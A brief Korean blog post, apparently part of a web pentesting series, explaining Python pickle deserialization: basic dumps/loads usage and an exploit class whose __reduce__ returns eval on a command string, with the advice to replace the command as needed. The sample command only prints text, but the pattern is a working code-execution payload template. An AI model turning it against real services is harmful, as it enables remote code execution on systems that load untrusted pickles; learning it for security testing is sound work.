python deserialize 취약점

Hunjison·2021년 10월 17일
0

Web Pentesting

목록 보기
9/9

원리에 대한 내용보다는 실제 필요한 내용만 간단하게 정리.

python pickle 모듈은 data serialize에 쓰는 모듈이다.
serialize란 class나 function 등을 문자열의 형태로 바꿀 수 있는 것이다.


pickle의 간단한 사용법은 아래와 같다.

import pickle
data = {'name': 'jihun', 'userid': 'hunjison', 'password': 'passpass'}

# serialize
serialized_data = pickle.dumps(data) # type : bytes

# deserialize
deserialized_data = pickle.loads(serialized_data)

취약점은 pickle 데이터를 loads하는 과정에서 동작하는 내장 함수인 __reduce__()에서 발생한다.
payload 짜는 과정은 아래와 같다.

class Exploit:
    def __reduce__(self):
        cmd = "print('It can print or something')"
        return (__builtins__.eval, (cmd,))

payload = pickle.dumps(Exploit())
print(payload)

위 payload에서 cmd 부분만 상황에 맞게 바꾸어주자.

profile
비전공자 출신 화이트햇 해커

0개의 댓글